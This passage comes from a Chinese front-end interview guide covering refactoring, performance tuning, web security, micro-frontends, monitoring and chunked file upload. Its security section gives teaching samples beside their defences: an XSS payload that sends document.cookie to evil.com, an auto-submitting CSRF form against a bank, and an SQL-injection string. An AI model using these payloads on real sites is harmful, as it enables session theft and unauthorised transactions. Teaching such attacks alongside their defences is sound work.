  return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}

function printDetails(invoice, outstanding) {
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

56. 提取变量

// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
  // ...
}

// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');

if (isAdmin && isActive && canDelete) {
  // ...
}

57. 内联函数

// 重构前
function getRating(driver) {
  return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}

function moreThanFiveLateDeliveries(driver) {
  return driver.numberOfLateDeliveries > 5;
}

// 重构后
function getRating(driver) {
  return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}

58. 封装字段

// 重构前
class Person {
  constructor(name) {
    this.name = name;
  }
}

const p = new Person('张三');
p.name = ''; // 可以直接修改

// 重构后
class Person {
  #name;
  
  constructor(name) {
    this.setName(name);
  }
  
  getName() {
    return this.#name;
  }
  
  setName(value) {
    if (!value) throw new Error('name 不能为空');
    this.#name = value;
  }
}

59. 封装集合

// 重构前
class Team {
  constructor() {
    this.members = [];
  }
}

const team = new Team();
team.members = []; // 可以直接替换整个集合

// 重构后
class Team {
  #members = [];
  
  getMembers() {
    return [...this.#members]; // 返回副本
  }
  
  addMember(member) {
    this.#members.push(member);
  }
  
  removeMember(member) {
    this.#members = this.#members.filter(m => m !== member);
  }
}

六、性能优化策略

60. 前端性能优化

优化维度

维度 优化方向
加载优化 减少资源体积、减少请求数量
执行优化 减少 JS 执行时间、优化算法
渲染优化 减少重排重绘、使用 GPU 加速
网络优化 使用 CDN、HTTP/2、缓存策略
图片优化 格式选择、懒加载、响应式图片
缓存优化 浏览器缓存、Service Worker
首屏优化 SSR/SSG、代码分割、预加载
白屏优化 骨架屏、内联关键 CSS

61. 加载优化

策略

策略 说明 实现
代码分割 按路由/组件拆分代码 Webpack splitChunks、React.lazy
资源压缩 减小文件体积 Terser、CSSNano
图片压缩 优化图片大小 WebP、AVIF、Tinypng
Gzip/Brotli 压缩传输内容 Nginx 配置
CDN 加速 就近获取资源 CDN 分发
按需加载 用时才加载 动态 import()、懒加载
预加载 提前加载资源 <link rel="preload">
预连接 提前建立连接 <link rel="preconnect">

代码示例

// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');

// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />

// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">

// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

62. 执行优化

策略

策略 说明
防抖/节流 减少高频事件触发
虚拟列表 只渲染可视区域
Web Worker 将计算移出主线程
避免强制同步布局 批量读写 DOM
减少闭包 减少内存占用
对象池 复用对象减少 GC

代码示例

// 防抖
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
  const [scrollTop, setScrollTop] = useState(0);
  
  const startIndex = Math.floor(scrollTop / itemHeight);
  const endIndex = Math.min(startIndex + visibleCount, items.length);
  const visibleItems = items.slice(startIndex, endIndex);
  
  return (
    <div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
         onScroll={e => setScrollTop(e.target.scrollTop)}>
      <div style={{ height: items.length * itemHeight, position: 'relative' }}>
        {visibleItems.map((item, i) => (
          <div key={i} style={{ 
            position: 'absolute', 
            top: (startIndex + i) * itemHeight 
          }}>
            {item}
          </div>
        ))}
      </div>
    </div>
  );
}

// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

63. 渲染优化

策略

策略 说明
减少重排 批量修改样式、使用 transform/opacity
减少重绘 避免频繁修改可见性、颜色
使用 will-change 提示浏览器优化
CSS 含合成 使用 transform 代替 top/left
避免布局抖动 避免交替读写 DOM
使用 DocumentFragment 批量插入 DOM

代码示例

// 好的做法:使用 transform
.element {
  transition: transform 0.3s;
}
.element:hover {
  transform: translateX(100px);
}

// 不好的做法:使用 top/left
.element {
  transition: left 0.3s;
}
.element:hover {
  left: 100px;
}

// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  container.appendChild(el); // 多次触发重排
});

// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排

// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局

// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px';    // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';

64. 网络优化

策略

策略 说明
HTTP/2 多路复用、头部压缩
CDN 就近分发资源
资源合并 减少请求数(HTTP/1.1)
缓存策略 合理设置 Cache-Control
预请求 DNS 预解析、预连接

缓存策略

// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600                // 一小时

// 协商缓存
ETag: "abc123"                             // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location / {
  add_header Cache-Control "no-cache";
}

65. 图片优化

策略

策略 说明
格式选择 WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片
响应式图片 srcset + sizes 适配不同屏幕
懒加载 loading="lazy"
压缩 使用工具压缩图片
雪碧图 合并小图标
Base64 小图标内联

代码示例

<!-- 响应式图片 -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
  src="medium.jpg"
  alt="响应式图片"
  loading="lazy"
>

<!-- 使用 picture 元素 -->
<picture>
  <source srcset="image.webp" type="image/webp">
  <source srcset="image.avif" type="image/avif">
  <img src="image.jpg" alt="图片">
</picture>

66. 缓存优化

浏览器缓存层次

缓存类型 位置 有效期
Service Worker 浏览器 持久化
Memory Cache 内存 会话期间
Disk Cache 磁盘 根据 HTTP 头
Push Cache HTTP/2 连接 连接期间

localStorage/sessionStorage

// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
  const item = {
    value,
    expiry: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
  const itemStr = localStorage.getItem(key);
  if (!itemStr) return null;
  
  const item = JSON.parse(itemStr);
  if (Date.now() > item.expiry) {
    localStorage.removeItem(key);
    return null;
  }
  return item.value;
}

67. 首屏优化

策略

策略 说明
SSR/SSG 服务端渲染/静态生成
代码分割 只加载首屏代码
内联关键 CSS 将首屏样式内联到 HTML
骨架屏 首屏占位
预渲染 构建时生成静态 HTML
资源优先级 preload/prefetch

骨架屏示例

<template>
  <div class="skeleton">
    <div class="skeleton-header"></div>
    <div class="skeleton-content">
      <div class="skeleton-line" v-for="i in 5" :key="i"></div>
    </div>
    <div class="skeleton-footer"></div>
  </div>
</template>

<style scoped>
.skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: 200% 0; }
  100% { background-position: -200% 0; }
}
</style>

68. 白屏优化

策略

策略 说明
内联关键 JS 将初始化逻辑内联到 HTML
异步加载脚本 async/defer 加载
首屏直出 SSR 或预渲染
容错处理 JS 加载失败时的降级方案
预加载字体 避免字体闪烁

代码示例

<!DOCTYPE html>
<html>
<head>
  <style>
    /* 内联关键 CSS */
    .loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
    .spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>
  <div id="app">
    <div class="loading">
      <div class="spinner"></div>
      <p>加载中...</p>
    </div>
  </div>
  
  <script defer src="/js/app.js"></script>
</body>
</html>

69. 多维度性能优化策略有哪些?

Lighthouse 评分维度

维度 指标 目标值
性能 FCP(首次内容绘制) < 1.8s
性能 LCP(最大内容绘制) < 2.5s
性能 FID(首次输入延迟) < 100ms
性能 CLS(累积布局偏移) < 0.1
性能 TTI(可交互时间) < 3.8s
性能 TBT(总阻塞时间) < 200ms

优化路线图

1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标

七、安全策略

70. 前端安全

安全原则

  • 最小权限:只授予必要的权限
  • 纵深防御:多层防护
  • 不信任用户输入:所有输入都应验证和转义
  • 安全默认:默认开启安全策略

71. XSS 攻击

定义

XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。

攻击类型

类型 说明 示例
存储型 XSS 恶意脚本存储在服务器 评论中注入 <script> 标签
反射型 XSS 通过 URL 参数传递 搜索框:?q=<script>alert(1)</script>
DOM 型 XSS 通过前端 JS 操作 DOM innerHTML = userInput

攻击示例

// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
  <img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;

// 如果后端没过滤,前端没转义
<div class="comment">
  ${userInput} // 恶意脚本执行
</div>

// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!

72. XSS 防御

防御策略

策略 说明 实现
输入过滤 验证和过滤用户输入 白名单验证、特殊字符转义
输出编码 输出时转义特殊字符 HTML 实体编码
CSP 内容安全策略 设置 HTTP 头
HttpOnly 禁止 JS 访问 Cookie Set-Cookie: HttpOnly
框架防护 框架自动转义 Vue/React 默认转义

代码实现

// HTML 转义函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, s => map[s]);
}

// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// &lt;script&gt;alert(1)&lt;/script&gt;

// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Vue/React 的安全特性

<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}

73. CSRF 攻击

定义

CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。

攻击原理

  1. 用户登录目标网站,获得 Cookie
  2. 用户访问恶意网站
  3. 恶意网站发送请求到目标网站
  4. 浏览器自动携带 Cookie,请求成功

攻击示例

<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

74. CSRF 防御

防御策略

策略 说明 实现
CSRF Token 请求携带随机 Token 表单/请求头携带 Token
SameSite Cookie 限制 Cookie 跨站发送 Set-Cookie: SameSite=Strict
验证 Referer 检查请求来源 服务端验证 Referer 头
自定义请求头 要求携带自定义头 X-Requested-With

代码实现

// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">

// 前端携带 Token
axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

// 后端验证
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 处理转账
});

// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

75. SQL 注入

定义

攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。

攻击示例

// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);

76. 点击劫持

定义

攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。

防御

// X-Frame-Options 头
X-Frame-Options: DENY          // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN    // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名

// JS 防护
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

77. 中间人攻击(MITM)

定义

攻击者在通信双方之间拦截、篡改或伪造数据。

防御

  • 使用 HTTPS 加密传输
  • HSTS(HTTP Strict Transport Security)
  • 证书锁定(Certificate Pinning)
  • 避免使用公共 WiFi 传输敏感信息

78. 内容安全策略(CSP)

定义

CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。

配置

# 基本配置
Content-Security-Policy: default-src 'self'

# 允许特定域名
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

指令说明

指令 说明
default-src 默认策略
script-src 脚本来源
style-src 样式来源
img-src 图片来源
font-src 字体来源
connect-src 连接来源(fetch、WebSocket)
frame-ancestors 允许嵌入的父页面
form-action 允许的表单提交地址

79. HTTPS

定义

HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。

优势

  • 数据加密:防止数据被窃听
  • 身份认证:防止中间人攻击
  • 数据完整性:防止数据被篡改

混合内容问题

<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>

<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">

<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>

<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

80. 安全头配置

常用安全头

头部 说明
Content-Security-Policy 各种指令 内容安全策略
X-Content-Type-Options nosniff 禁止 MIME 嗅探
X-Frame-Options DENY/SAMEORIGIN 防止点击劫持
X-XSS-Protection 1; mode=block XSS 过滤器(已废弃)
Strict-Transport-Security max-age=31536000 HSTS
Referrer-Policy no-referrer 控制 Referer 信息
Permissions-Policy 各种权限 控制浏览器功能访问

Nginx 配置

server {
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段

前端安全核心理念

  1. 所有用户输入都是不可信的:必须验证、过滤、转义
  2. 纵深防御:不依赖单一防护手段
  3. 安全默认:默认开启最严格的策略
  4. 最小权限:只开放必要的功能和接口

攻击与防御矩阵

攻击类型 原理 防御手段
XSS 注入恶意脚本 输入过滤、输出编码、CSP、HttpOnly
CSRF 伪造用户请求 CSRF Token、SameSite Cookie、Referer 验证
SQL 注入 注入恶意 SQL 参数化查询、ORM
点击劫持 iframe 覆盖 X-Frame-Options、CSP frame-ancestors
中间人攻击 拦截通信 HTTPS、HSTS

八、微前端架构

82. 微前端

定义

微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。

核心特征

  • 技术栈无关:各子应用可以使用不同框架
  • 独立部署:子应用可以独立发布
  • 增量升级:逐步迁移,无需重写全部代码
  • 团队自治:不同团队独立开发

83. 微前端架构是什么?

架构模式

┌─────────────────────────────────────────┐
│              基座应用 (Shell)              │
│  ┌───────────────────────────────────┐  │
│  │          路由分发层                  │  │
│  └───────────────────────────────────┘  │
│  ┌────────┐ ┌────────┐ ┌────────┐       │
│  │ 子应用A │ │ 子应用B │ │ 子应用C │       │
│  │ React  │ │ Vue    │ │ Angular│       │
│  └────────┘ └────────┘ └────────┘       │
└─────────────────────────────────────────┘

适用场景

  • 大型项目、多团队协作
  • 历史遗留系统逐步迁移
  • 需要独立部署的功能模块

84. 微前端实现方案

方案对比

方案 原理 优点 缺点
iframe 原生 iframe 嵌入 简单、完全隔离 通信困难、性能差、URL 不同步
Web Components 自定义元素标准 标准化、组件化 兼容性、样式穿透困难
single-spa JS 沙箱 + 路由分发 轻量、灵活 需要手动处理隔离
qiankun single-spa 封装 开箱即用、样式/JS 隔离 有一定学习成本
Module Federation Webpack5 原生 模块级共享、性能好 仅 Webpack5

85. iframe 方案

实现

<!-- 基座应用 -->
<div id="micro-app-container">
  <iframe 
    src="http://app-a.example.com" 
    id="app-a"
    sandbox="allow-scripts allow-same-origin allow-forms"
  ></iframe>
</div>

<style>
#micro-app-container iframe {
  width: 100%;
  height: 100vh;
  border: none;
}
</style>

通信方案

// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');

// 子应用
window.addEventListener('message', (e) => {
  if (e.data.type === 'SET_TOKEN') {
    localStorage.setItem('token', e.data.data);
  }
});

86. Web Components

实现

// 定义组件
class MicroAppComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }
  
  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: block; }
        h1 { color: #333; }
      </style>
      <h1>微前端应用</h1>
    `;
  }
  
  disconnectedCallback() {
    // 清理
  }
}

customElements.define('micro-app', MicroAppComponent);

// 使用
<micro-app></micro-app>

87. single-spa

实现

import { registerApplication, start } from 'single-spa';

// 注册子应用
registerApplication({
  name: 'app-a',
  app: () => import('http://app-a.example.com/main.js'),
  activeWhen: ['/app-a']
});

registerApplication({
  name: 'app-b',
  app: () => import('http://app-b.example.com/main.js'),
  activeWhen: ['/app-b']
});

start();

子应用生命周期

export async function bootstrap(props) {
  console.log('子应用 bootstrap');
}

export async function mount(props) {
  console.log('子应用 mount');
  // 渲染应用
}

export async function unmount(props) {
  console.log('子应用 unmount');
  // 清理资源
}

88. qiankun

基座应用配置

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'app-vue',
    entry: '//localhost:8081',
    container: '#container',
    activeRule: '/app-vue',
    props: { token: 'xxx' }
  },
  {
    name: 'app-react',
    entry: '//localhost:8082',
    container: '#container',
    activeRule: '/app-react'
  }
]);

start({
  sandbox: { strictStyleIsolation: true },
  prefetch: true
});

子应用配置(Vue)

// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';

let instance = null;

function render(props = {}) {
  const { container } = props;
  instance = new Vue({
    router,
    store,
    render: h => h(App)
  }).$mount(container ? container.querySelector('#app') : '#app');
}

if (!window.__POWERED_BY_QIANKUN__) {
  render();
}

export async function bootstrap() {}

export async function mount(props) {
  render(props);
}

export async function unmount() {
  instance.$destroy();
  instance = null;
}

89. Module Federation

配置

// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'host',
      remotes: {
        appA: 'appA@http://localhost:3001/remoteEntry.js',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 子应用 webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'appA',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 使用
const AppA = React.lazy(() => import('appA/App'));

90. 微前端通信

通信方案

方案 适用场景
props 传递 基座向子应用传递数据
自定义事件 子应用间解耦通信
全局状态 跨应用共享状态
localStorage 简单数据持久化
URL 参数 路由参数传递

代码实现

// 全局状态方案
class MicroAppState {
  constructor() {
    this.state = {};
    this.listeners = {};
  }
  
  set(key, value) {
    this.state[key] = value;
    if (this.listeners[key]) {
      this.listeners[key].forEach(fn => fn(value));
    }
  }
  
  get(key) {
    return this.state[key];
  }
  
  on(key, fn) {
    if (!this.listeners[key]) this.listeners[key] = [];
    this.listeners[key].push(fn);
  }
}

export const globalState = new MicroAppState();

// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
  console.log('用户信息变更:', user);
});

91. 微前端样式隔离

方案对比

方案 说明 优缺点
Shadow DOM 浏览器原生隔离 完全隔离,但穿透困难
CSS Scoped 添加唯一前缀 实现简单,性能较好
CSS Modules 类名哈希化 工程化支持好
动态样式 挂载时添加,卸载时移除 简单有效

qiankun 样式隔离

start({
  sandbox: {
    strictStyleIsolation: true,  // Shadow DOM
    experimentalStyleIsolation: true  // 动态 scoped
  }
});

// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]

92. 微前端状态共享

方案

// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';

class SharedState {
  constructor() {
    this.subjects = {};
  }
  
  get(key, defaultValue) {
    if (!this.subjects[key]) {
      this.subjects[key] = new BehaviorSubject(defaultValue);
    }
    return this.subjects[key];
  }
  
  set(key, value) {
    this.get(key).next(value);
  }
}

export const sharedState = new SharedState();

// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });

// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
  console.log('当前用户:', user);
});

93. 微前端部署

部署方案

方案 说明
独立部署 每个子应用独立部署到不同服务器
统一构建 主应用和子应用统一构建后部署
CDN 部署 子应用部署到 CDN,基座引用 CDN 地址
Docker 容器化 每个子应用独立容器

CI/CD 流程

┌─────────┐    ┌─────────┐    ┌─────────┐
│ 子应用A  │    │ 子应用B  │    │ 子应用C  │
│  独立CI  │    │  独立CI  │    │  独立CI  │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     ▼              ▼              ▼
┌─────────────────────────────────────────┐
│              CDN / 静态服务器               │
└─────────────────────────────────────────┘
                     ▲
                     │
┌─────────────────────────────────────────┐
│            基座应用(引用子应用地址)          │
│            独立部署、独立版本控制              │
└─────────────────────────────────────────┘

九、监控体系

94. 监控体系包括哪些? / 前端监控体系包括哪些内容?

前端监控体系组成

维度 内容 说明
性能监控 页面加载、渲染、交互性能 FCP、LCP、FID、CLS 等
错误监控 JS 错误、资源加载错误、接口错误 try-catch、window.onerror
用户行为 页面访问、点击、转化漏斗 埋点、PV/UV
业务监控 业务指标、转化率 订单量、注册量
安全监控 XSS 攻击、异常请求 CSP 报告、异常请求分析

95. 前端监控的实现(错误收集、性能监控)

错误收集

// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
  reportError({
    type: 'js-error',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno,
    colno: e.colno,
    stack: e.error?.stack
  });
}, true);

// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
  reportError({
    type: 'promise-error',
    message: e.reason?.message || String(e.reason),
    stack: e.reason?.stack
  });
});

// 3. 资源加载错误
window.addEventListener('error', (e) => {
  if (e.target !== window) {
    reportError({
      type: 'resource-error',
      tagName: e.target.tagName,
      src: e.target.src || e.target.href
    });
  }
}, true);

// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
  reportError({
    type: 'vue-error',
    message: err.message,
    component: instance?.$options?.name,
    info
  });
};

// 5. React 错误边界
class ErrorBoundary extends React.Component {
  componentDidCatch(error, errorInfo) {
    reportError({
      type: 'react-error',
      message: error.message,
      componentStack: errorInfo.componentStack
    });
  }
  
  render() {
    return this.props.children;
  }
}

性能监控

// Performance API
function collectPerformanceMetrics() {
  const navigation = performance.getEntriesByType('navigation')[0];
  const paint = performance.getEntriesByType('paint');
  
  return {
    // 导航计时
    dns: navigation.domainLookupEnd - navigation.domainLookupStart,
    tcp: navigation.connectEnd - navigation.connectStart,
    ttfb: navigation.responseStart - navigation.requestStart,
    download: navigation.responseEnd - navigation.responseStart,
    
    // 渲染计时
    fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
    
    // 页面可用
    domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
    load: navigation.loadEventEnd - navigation.startTime
  };
}

// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);

function reportMetric(metric) {
  sendToAnalytics({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    rating: metric.rating
  });
}

96. 如何实现前端埋点监控系统?

埋点类型

类型 说明 实现
页面浏览(PV) 记录页面访问 路由变化监听
用户行为 点击、滚动、输入 事件委托
自定义事件 业务事件 手动调用
性能数据 页面性能 Performance API
错误数据 运行时错误 全局监听

埋点系统实现

class Tracker {
  constructor(options) {
    this.appId = options.appId;
    this.userId = options.userId;
    this.queue = [];
    this.batchSize = options.batchSize || 10;
    this.flushInterval = options.flushInterval || 5000;
    this.apiEndpoint = options.apiEndpoint;
    
    this.startAutoFlush();
  }
  
  // 页面浏览
  trackPageView(pageName, properties = {}) {
    this.track('page_view', { page_name: pageName, ...properties });
  }
  
  // 自定义事件
  trackEvent(eventName, properties = {}) {
    this.track(eventName, properties);
  }
  
  // 核心方法
  track(event, properties = {}) {
    const data = {
      event,
      properties,
      user_id: this.userId,
      app_id: this.appId,
      timestamp: Date.now(),
      url: location.href,
      referrer: document.referrer,
      user_agent: navigator.userAgent,
      screen: `${screen.width}x${screen.height}`
    };
    
    this.queue.push(data);
    
    if (this.queue.length >= this.batchSize) {
      this.flush();
    }
  }
  
  // 批量上报
  async flush() {
    if (this.queue.length === 0) return;
    
    const data = this.queue.splice(0, this.batchSize);
    
    try {
      await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
    } catch (e) {
      // 降级为图片请求
      new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
    }
  }
  
  startAutoFlush() {
    setInterval(() => this.flush(), this.flushInterval);
  }
}

// 自动 PV 追踪
function trackPageView(tracker) {
  const originalPushState = history.pushState;
  history.pushState = function(...args) {
    originalPushState.apply(this, args);
    tracker.trackPageView(location.pathname);
  };
  
  window.addEventListener('popstate', () => {
    tracker.trackPageView(location.pathname);
  });
  
  // 初始页面
  tracker.trackPageView(location.pathname);
}

// 使用
const tracker = new Tracker({
  appId: 'my-app',
  userId: getUserId(),
  apiEndpoint: '/api/track'
});

trackPageView(tracker);

// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
  tracker.trackEvent('form_submit', { form_id: 'login-form' });
});

97. 性能监控

关键指标

指标 说明 目标
FCP 首次内容绘制 < 1.8s
LCP 最大内容绘制 < 2.5s
FID 首次输入延迟 < 100ms
CLS 累积布局偏移 < 0.1
TTI 可交互时间 < 3.8s

实时监控

// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime}ms`);
    reportToServer(entry.name, entry.startTime);
  }
});

observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', entry.duration, 'ms');
  }
});
longTaskObserver.observe({ type: 'longtask', buffered: true });

十、工程实践

98. 大文件上传如何实现?

问题拆解

维度 问题 方案
传输 大文件传输慢 分片上传
可靠性 网络中断导致失败 断点续传
效率 重复上传相同文件 秒传(哈希去重)
进度 用户不知道进度 进度条反馈
并发 提高上传速度 并发上传

实现步骤

1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分

代码实现

class FileUploader {
  constructor(options) {
    this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
    this.concurrent = options.concurrent || 3;
    this.onProgress = options.onProgress;
  }
  
  // 计算文件哈希
  async calculateHash(file) {
    return new Promise((resolve) => {
      const spark = new SparkMD5.ArrayBuffer();
      const reader = new FileReader();
      const chunks = this.sliceFile(file);
      let index = 0;
      
      const loadNext = () => {
